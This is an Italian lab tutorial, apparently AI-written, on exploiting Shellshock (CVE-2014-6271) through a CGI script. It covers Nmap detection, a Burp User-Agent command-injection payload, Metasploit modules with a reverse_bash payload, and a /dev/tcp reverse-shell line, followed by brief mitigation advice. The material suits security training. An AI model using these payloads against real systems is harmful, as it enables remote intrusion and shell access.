Shellshock Exploitation - CVE-2014-6271
La vulnerabilità Shellshock CVE-2014-6271 affligge la shell Bash nei sistemi Unix-like. Consente a un attaccante remoto di eseguire comandi arbitrari quando una variabile d'ambiente viene interpretata
Shellshock Exploitation - CVE-2014-6271
La vulnerabilità Shellshock (CVE-2014-6271) affligge la shell Bash nei sistemi Unix-like. Consente a un attaccante remoto di eseguire comandi arbitrari quando una variabile d'ambiente viene interpretata da Bash, in particolare attraverso applicazioni che invocano Bash, come CGI script nei web server.
1. Identificazione del Vettore di Input
Per sfruttare Shellshock, è necessario identificare un input vector che consenta di interagire direttamente con Bash. Nel contesto di un Apache Web Server, uno dei vettori più comuni è rappresentato dagli script CGI (Common Gateway Interface).
2. Scansione di vulnerabilità con Nmap
Per verificare se un server è vulnerabile, si può utilizzare il seguente comando:
nmap -sV <ip_target> --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"Dove:
http-shellshock.uriindica il path verso lo script.cgivulnerabile.
- L'opzione
-sVserve per identificare le versioni dei servizi in esecuzione.
3. Exploitation Manuale con Burp Suite
Passaggi:
1. Intercetta una richiesta GET verso l'URL che contiene lo script CGI, ad esempio:
GET /gettime.cgi HTTP/1.1 Host: demo.ine.local
2. Invia la richiesta al Repeater.
3. Modifica l'header User-Agent per includere il payload Shellshock:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'whoami'
4. Esegui la richiesta modificata e verifica se il comando viene eseguito. Se la risposta contiene l'output del comando (
whoami), il sistema è vulnerabile.
Richiesta completa di esempio:
httpGET /gettime.cgi HTTP/1.1
Host: demo.ine.local
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo; echo; /bin/bash -c 'whoami'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
4. Exploitation con Metasploit
Step-by-step:
bashsudo service postgresql start
msfconsole
Modulo di Scansione:
bashsearch shellshock
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set RHOSTS <ip_target>
set TARGETURI /gettime.cgi
run
Modulo di Exploit:
bashuse exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ip_target>
set RPORT 80 (o 443 in caso di HTTPS)
set TARGETURI /gettime.cgi
set PAYLOAD cmd/unix/reverse_bash
set LHOST <tuo_ip>
set LPORT <porta_listener>
exploit
5. Note Tecniche Aggiuntive
- Shellshock colpisce versioni di Bash fino alla 4.3.
- Non solo
User-Agent, ma anche altri header HTTP possono essere utilizzati come vettore (es. Referer, Cookie).
- Può essere usata anche per privilege escalation se Bash è invocata da script con privilegi elevati.
- Esempio payload per apertura reverse shell:
http() { :; }; /bin/bash -i >& /dev/tcp/<tuo_ip>/<porta> 0>&1
6. Difesa e Mitigazione
- Aggiornare Bash all'ultima versione disponibile.
- Disabilitare o limitare l'uso di CGI scripts.
- Utilizzare firewall o WAF per filtrare payload sospetti.
- Monitorare accessi anomali ai path
/cgi-bin/`.
7. Riferimenti
Hai bisogno anche di uno script Python per test automatici o un report d'esempio? Posso aiutarti a completare la guida.